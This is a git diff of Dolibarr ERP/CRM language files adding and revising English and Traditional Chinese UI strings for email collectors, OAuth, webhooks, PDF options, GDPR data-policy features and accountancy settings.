      %s @@ -2048,27 +2084,47 @@ VATIsUsedIsOff=Note: The option to use Sales Tax or VAT has been set to SwapSenderAndRecipientOnPDF=Swap sender and recipient address position on PDF documents FeatureSupportedOnTextFieldsOnly=Warning, feature supported on text fields and combo lists only. Also an URL parameter action=create or action=edit must be set OR page name must end with 'new.php' to trigger this feature. EmailCollector=Email collector +EmailCollectors=Email collectors EmailCollectorDescription=Add a scheduled job and a setup page to scan regularly email boxes (using IMAP protocol) and record emails received into your application, at the right place and/or create some records automatically (like leads). NewEmailCollector=New Email Collector EMailHost=Host of email IMAP server +EMailHostPort=Port of email IMAP server +loginPassword=Login/Password +oauthToken=Oauth2 token +accessType=Acces type +oauthService=Oauth service +TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). MailboxSourceDirectory=Mailbox source directory MailboxTargetDirectory=Mailbox target directory EmailcollectorOperations=Operations to do by collector EmailcollectorOperationsDesc=Operations are executed from top to bottom order MaxEmailCollectPerCollect=Max number of emails collected per collect +TestCollectNow=Test collect CollectNow=Collect now -ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s ? +ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Date of latest collect try DateLastcollectResultOk=Date of latest collect success LastResult=Latest result +EmailCollectorHideMailHeaders=Do not include the content of email header into the saved content of collected e-mails +EmailCollectorHideMailHeadersHelp=When enabled, e-mail headers are not added at the end of the email content that is saved as an agenda event. EmailCollectorConfirmCollectTitle=Email collect confirmation -EmailCollectorConfirmCollect=Do you want to run the collection for this collector now ? +EmailCollectorConfirmCollect=Do you want to run this collector now? +EmailCollectorExampleToCollectTicketRequestsDesc=Collect emails that match some rules and create automatically a ticket (Module Ticket must be enabled) with the email informations. You can use this collector if you provide some support by email, so your ticket request will be automatically generated. Activate also Collect_Responses to collect answers of your client directly on the ticket view (you must reply from Dolibarr). +EmailCollectorExampleToCollectTicketRequests=Example collecting the ticket request (first message only) +EmailCollectorExampleToCollectAnswersFromExternalEmailSoftwareDesc=Scan your mailbox "Sent" directory to find emails that was sent as an answer of another email directly from your email software and not from Dolibarr. If such an email is found, the event of answer is recorded into Dolibarr +EmailCollectorExampleToCollectAnswersFromExternalEmailSoftware=Example collecting e-mail answers sent from an external e-mail software +EmailCollectorExampleToCollectDolibarrAnswersDesc=Collect all emails that are an answer of an email sent from your application. An event (Module Agenda must be enabled) with the email response will be recorded at the good place. For example, if you send a commercial proposal, order, invoice or message for a ticket by email from the application, and the recipient answers your email, the system will automatically catch the answer and add it into your ERP. +EmailCollectorExampleToCollectDolibarrAnswers=Example collecting all ingoing messages being answers to messages sent from Dolibarr' +EmailCollectorExampleToCollectLeadsDesc=Collect emails that match some rules and create automatically a lead (Module Project must be enabled) with the email informations. You can use this collector if you want to follow your lead using the module Project (1 lead = 1 project), so your leads will be automatically generated. If the collector Collect_Responses is also enabled, when you send an email from your leads, proposals or any other object, you may also see answers of your customers or partners directly on the application.
      Note: With this initial example, the title of the lead is generated including the email. If the thirdparty can't be found in database (new customer), the lead will be attached to the thirdparty with ID 1. +EmailCollectorExampleToCollectLeads=Example collecting leads +EmailCollectorExampleToCollectJobCandidaturesDesc=Collect emails applying to job offers (Module Recruitment must be enabled). You can complete this collector if you want to automatically create a candidature for a job request. Note: With this initial example, the title of the candidature is generated including the email. +EmailCollectorExampleToCollectJobCandidatures=Example collecting job candidatures received by e-mail NoNewEmailToProcess=No new email (matching filters) to process NothingProcessed=Nothing done -XEmailsDoneYActionsDone=%s emails qualified, %s emails successfully processed (for %s record/actions done) +XEmailsDoneYActionsDone=%s emails pre-qualified, %s emails successfully processed (for %s record/actions done) RecordEvent=Record an event in agenda (with type Email sent or received) CreateLeadAndThirdParty=Create a lead (and a third party if necessary) -CreateTicketAndThirdParty=Create a ticket (linked to a third party if the third party was loaded by a previous operation, with no third party otherwise) +CreateTicketAndThirdParty=Create a ticket (linked to a third party if the third party was loaded by a previous operation or was guessed from a tracker in email header, without third party otherwise) CodeLastResult=Latest result code NbOfEmailsInInbox=Number of emails in source directory LoadThirdPartyFromName=Load third party searching on %s (load only) @@ -2082,14 +2138,14 @@ CreateCandidature=Create job application FormatZip=Zip MainMenuCode=Menu entry code (mainmenu) ECMAutoTree=Show automatic ECM tree -OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. OpeningHours=Opening hours OpeningHoursDesc=Enter here the regular opening hours of your company. ResourceSetup=Configuration of Resource module UseSearchToSelectResource=Use a search form to choose a resource (rather than a drop-down list). DisabledResourceLinkUser=Disable feature to link a resource to users DisabledResourceLinkContact=Disable feature to link a resource to contacts -EnableResourceUsedInEventCheck=Enable feature to check if a resource is in use in an event +EnableResourceUsedInEventCheck=Prohibit the use of the same resource at the same time in the agenda ConfirmUnactivation=Confirm module reset OnMobileOnly=On small screen (smartphone) only DisableProspectCustomerType=Disable the "Prospect + Customer" third party type (so third party must be "Prospect" or "Customer", but can't be both) @@ -2134,7 +2190,7 @@ DeleteEmailCollector=Delete email collector ConfirmDeleteEmailCollector=Are you sure you want to delete this email collector? RecipientEmailsWillBeReplacedWithThisValue=Recipient emails will be always replaced with this value AtLeastOneDefaultBankAccountMandatory=At least 1 default bank account must be defined -RESTRICT_ON_IP=Allow access to some host IP only (wildcard not allowed, use space between values). Empty means every hosts can access. +RESTRICT_ON_IP=Allow API access to only certain client IPs (wildcard not allowed, use space between values). Empty means every clients can access. IPListExample=127.0.0.1 192.168.0.2 [::1] BaseOnSabeDavVersion=Based on the library SabreDAV version NotAPublicIp=Not a public IP @@ -2144,6 +2200,10 @@ EmailTemplate=Template for email EMailsWillHaveMessageID=Emails will have a tag 'References' matching this syntax PDF_SHOW_PROJECT=Show project on document ShowProjectLabel=Project Label +PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name +THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty +ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=If you want to have some texts in your PDF duplicated in 2 different languages in the same generated PDF, you must set here this second language so generated PDF will contains 2 different languages in same page, the one chosen when generating PDF and this one (only few PDF templates support this). Keep empty for 1 language per PDF. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Enter here the code of a FontAwesome icon. If you don't know what is FontAwesome, you can use the generic value fa-address-book. @@ -2172,12 +2232,12 @@ MailToPartnership=Partnership AGENDA_EVENT_DEFAULT_STATUS=Default event status when creating a event from the form YouShouldDisablePHPFunctions=You should disable PHP functions IfCLINotRequiredYouShouldDisablePHPFunctions=Except if you need to run system commands in custom code, you shoud disable PHP functions -PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an anitivurs program), you must keep PHP functions +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=No writable files or directories of the common programs were found into your root directory (Good) RecommendedValueIs=Recommended: %s Recommended=Recommended NotRecommended=Not recommended -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Check for external modules updates CheckForModuleUpdateHelp=This action will connect to editors of external modules to check if a new version is available. ModuleUpdateAvailable=An update is available @@ -2185,6 +2245,7 @@ NoExternalModuleWithUpdate=No updates found for external modules SwaggerDescriptionFile=Swagger API description file (for use with redoc for example) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=You enabled deprecated WS API. You should use REST API instead. RandomlySelectedIfSeveral=Randomly selected if several pictures are available +SalesRepresentativeInfo=For Proposals, Orders, Invoices. DatabasePasswordObfuscated=Database password is obfuscated in conf file DatabasePasswordNotObfuscated=Database password is NOT obfuscated in conf file APIsAreNotEnabled=APIs modules are not enabled @@ -2206,12 +2267,12 @@ DashboardDisableBlockAdherent=Disable the thumb for memberships DashboardDisableBlockExpenseReport=Disable the thumb for expense reports DashboardDisableBlockHoliday=Disable the thumb for leaves EnabledCondition=Condition to have field enabled (if not enabled, visibility will always be off) -IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax -IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax +IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sales tax +IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sales tax LanguageAndPresentation=Language and presentation SkinAndColors=Skin and colors -IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax -IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax +IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sales tax +IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sales tax PDF_USE_1A=Generate PDF with PDF/A-1b format MissingTranslationForConfKey = Missing translation for %s NativeModules=Native modules @@ -2220,3 +2281,77 @@ API_DISABLE_COMPRESSION=Disable compression of API responses EachTerminalHasItsOwnCounter=Each terminal use its own counter. FillAndSaveAccountIdAndSecret=Fill and save account ID and secret first PreviousHash=Previous hash +LateWarningAfter="Late" warning after +TemplateforBusinessCards=Template for a business card in different size +InventorySetup= Inventory Setup +ExportUseLowMemoryMode=Use a low memory mode +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. + +ModuleWebhookName = Webhook +ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +WebhookSetup = Webhook setup +Settings = Settings +WebhookSetupPage = Webhook setup page +ShowQuickAddLink=Show a button to quickly add an element in top right menu + +HashForPing=Hash used for ping +ReadOnlyMode=Is instance in "Read Only" mode +DEBUGBAR_USE_LOG_FILE=Use the dolibarr.log file to trap Logs +UsingLogFileShowAllRecordOfSubrequestButIsSlower=Use the dolibarr.log file to trap Logs instead of live memory catching. It allows to catch all logs instead of only log of current process (so including the one of ajax subrequests pages) but will make your instance very very slow. Not recommended. +FixedOrPercent=Fixed (use keyword 'fixed') or percent (use keyword 'percent') +DefaultOpportunityStatus=Default opportunity status (first status when lead is created) + +IconAndText=Icon and text +TextOnly=Text only +IconOnlyAllTextsOnHover=Icon only - All texts appears under icon on mouse hover menu bar +IconOnlyTextOnHover=Icon only - Text of icon appears under icon on mouse hover the icon +IconOnly=Icon only - Text on tooltip only +INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices +INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices +INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France +UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. +IfThisCategoryIsChildOfAnother=If this category is a child of another one +DarkThemeMode=Dark theme mode +AlwaysDisabled=Always disabled +AccordingToBrowser=According to browser +AlwaysEnabled=Always Enabled +DoesNotWorkWithAllThemes=Will not work with all themes +NoName=No name +ShowAdvancedOptions= Show advanced options +HideAdvancedoptions= Hide advanced options +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service +DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method +UsePassword=Use a password +UseOauth=Use a OAUTH token +Images=Images +MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s diff --git a/htdocs/langs/zh_HK/datapolicy.lang b/htdocs/langs/zh_HK/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/zh_HK/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example
      Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/zh_HK/main.lang b/htdocs/langs/zh_HK/main.lang index 2d850927782..bbb4ed227c4 100644 --- a/htdocs/langs/zh_HK/main.lang +++ b/htdocs/langs/zh_HK/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=. @@ -28,6 +34,7 @@ NoTemplateDefined=No template available for this email type AvailableVariables=Available substitution variables NoTranslation=No translation Translation=Translation +Translations=Translations CurrentTimeZone=TimeZone PHP (server) EmptySearchString=Enter non empty search criterias EnterADateCriteria=Enter a date criteria @@ -199,6 +206,7 @@ Valid=Valid Approve=Approve Disapprove=Disapprove ReOpen=Re-Open +OpenVerb=Open Upload=Upload ToLink=Link Select=Select @@ -216,7 +224,7 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=No user group defined Password=Password -PasswordRetype=Retype your password +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Note that a lot of features/modules are disabled in this demonstration. Name=Name NameSlashCompany=Name / Company @@ -244,6 +252,7 @@ Designation=Description DescriptionOfLine=Description of line DateOfLine=Date of line DurationOfLine=Duration of line +ParentLine=Parent line ID Model=Doc template DefaultModel=Default doc template Action=Event @@ -344,7 +353,7 @@ KiloBytes=Kilobytes MegaBytes=Megabytes GigaBytes=Gigabytes TeraBytes=Terabytes -UserAuthor=Ceated by +UserAuthor=Created by UserModif=Updated by b=b. Kb=Kb @@ -480,6 +489,7 @@ ActionsOnContact=Events for this contact/address ActionsOnContract=Events for this contract ActionsOnMember=Events about this member ActionsOnProduct=Events about this product +ActionsOnAsset=Events for this fixed asset NActionsLate=%s late ToDo=To do Completed=Completed @@ -517,6 +527,7 @@ or=or Other=Other Others=Others OtherInformations=Other information +Workflow=Workflow Quantity=Quantity Qty=Qty ChangedBy=Changed by @@ -619,6 +630,7 @@ MonthVeryShort11=N MonthVeryShort12=D AttachedFiles=Attached files and documents JoinMainDoc=Join main document +JoinMainDocOrLastGenerated=Send the main document or the last generated one if not found DateFormatYYYYMM=YYYY-MM DateFormatYYYYMMDD=YYYY-MM-DD DateFormatYYYYMMDDHHMM=YYYY-MM-DD HH:SS @@ -709,6 +721,7 @@ FeatureDisabled=Feature disabled MoveBox=Move widget Offered=Offered NotEnoughPermissions=You don't have permission for this action +UserNotInHierachy=This action is reserved to the supervisors of this user SessionName=Session name Method=Method Receive=Receive @@ -798,6 +811,7 @@ URLPhoto=URL of photo/logo SetLinkToAnotherThirdParty=Link to another third party LinkTo=Link to LinkToProposal=Link to proposal +LinkToExpedition= Link to expedition LinkToOrder=Link to order LinkToInvoice=Link to invoice LinkToTemplateInvoice=Link to template invoice @@ -916,6 +930,7 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file Download=Download DownloadDocument=Download document +DownloadSignedDocument=Download signed document ActualizeCurrency=Update currency rate Fiscalyear=Fiscal year ModuleBuilder=Module and Application Builder @@ -1041,6 +1056,7 @@ SearchIntoContracts=Contracts SearchIntoCustomerShipments=Customer shipments SearchIntoExpenseReports=Expense reports SearchIntoLeaves=Leave +SearchIntoKM=Knowledge base SearchIntoTickets=Tickets SearchIntoCustomerPayments=Customer payments SearchIntoVendorPayments=Vendor payments @@ -1132,15 +1148,29 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=On hold Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign Tag +AffectUser=Assign User +SetSupervisor=Set Supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project +TasksRole=Role assigned on each task of each project +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=Rate +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1164,3 +1194,19 @@ NotClosedYet=Not yet closed ClearSignature=Reset signature CanceledHidden=Canceled hidden CanceledShown=Canceled shown +Terminate=Terminate +Terminated=Terminated +AddLineOnPosition=Add line on position (at the end if empty) +ConfirmAllocateCommercial=Assign sales representative confirmation +ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned +YourMessage=Your message +YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. +UrlToCheck=Url to check +Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Internal user +ExternalUser=External user diff --git a/htdocs/langs/zh_TW/accountancy.lang b/htdocs/langs/zh_TW/accountancy.lang index 50bc8d5b3ef..e790ccb78db 100644 --- a/htdocs/langs/zh_TW/accountancy.lang +++ b/htdocs/langs/zh_TW/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=選擇退回類型 ACCOUNTING_EXPORT_PREFIX_SPEC=指定檔案名稱的前綴字元 ThisService=此服務 ThisProduct=此產品 -DefaultForService=服務的預設 -DefaultForProduct=產品的預設 +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=此合作方的產品 ServiceForThisThirdparty=此合作方的服務 CantSuggest=無法建議 @@ -59,6 +59,7 @@ MainAccountForSuppliersNotDefined=在設定中供應商的主要會計帳戶尚 MainAccountForUsersNotDefined=在設定中使用者的主要會計帳戶尚未定義 MainAccountForVatPaymentNotDefined=在設定中營業稅付款的主要會計帳戶尚未定義 MainAccountForSubscriptionPaymentNotDefined=未在"設定"中定義訂閱付款的主會計帳戶 +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=會計區域 AccountancyAreaDescIntro=會計模組的使用要數個步驟才能完成: @@ -100,7 +101,8 @@ ShowAccountingAccount=顯示會計項目 ShowAccountingJournal=顯示會計日記帳 ShowAccountingAccountInLedger=在分類帳中顯示會計科目 ShowAccountingAccountInJournals=在日記帳中顯示會計科目 -AccountAccountingSuggest=建議的會計項目 +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=預設會計項目 MenuBankAccounts=銀行帳戶 MenuVatAccounts=營業稅帳戶 @@ -125,6 +127,7 @@ WriteBookKeeping=在會計中記錄交易 Bookkeeping=總帳 BookkeepingSubAccount=子分類帳 AccountBalance=帳戶餘額 +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=參考的來源物件 CAHTF=稅前總採購供應商 TotalExpenseReport=總費用報表 @@ -164,42 +167,45 @@ ACCOUNTANCY_COMBO_FOR_AUX=為子公司帳戶啟用組合列表(如果您有很 ACCOUNTING_DATE_START_BINDING=定義開始綁定和轉移會計的日期。小於此日期,交易將不會轉入會計。 ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=銷售日記帳 -ACCOUNTING_PURCHASE_JOURNAL=採購日記帳 -ACCOUNTING_MISCELLANEOUS_JOURNAL=雜項日記帳 +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=費用報表日記帳 -ACCOUNTING_SOCIAL_JOURNAL=交際/社交日記帳 +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=有新的日記帳 +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=交際/社交日記帳 ACCOUNTING_RESULT_PROFIT=結果會計科目(利潤) ACCOUNTING_RESULT_LOSS=結果會計科目(虧損) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=結束日記帳 -ACCOUNTING_ACCOUNT_TRANSFER_CASH=過渡性銀行轉帳的會計帳戶 +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=過渡銀行轉帳帳戶 -ACCOUNTING_ACCOUNT_SUSPENSE=等待的會計科目 -DONATION_ACCOUNTINGACCOUNT=註冊捐款的會計科目 -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=用於註冊訂閱的會計科目 +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=會計帳戶預設註冊客戶存款 +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) -ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Accounting account by default to register supplier deposit +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=所購買產品的預設會計科目(如果在產品表中未定義則使用) 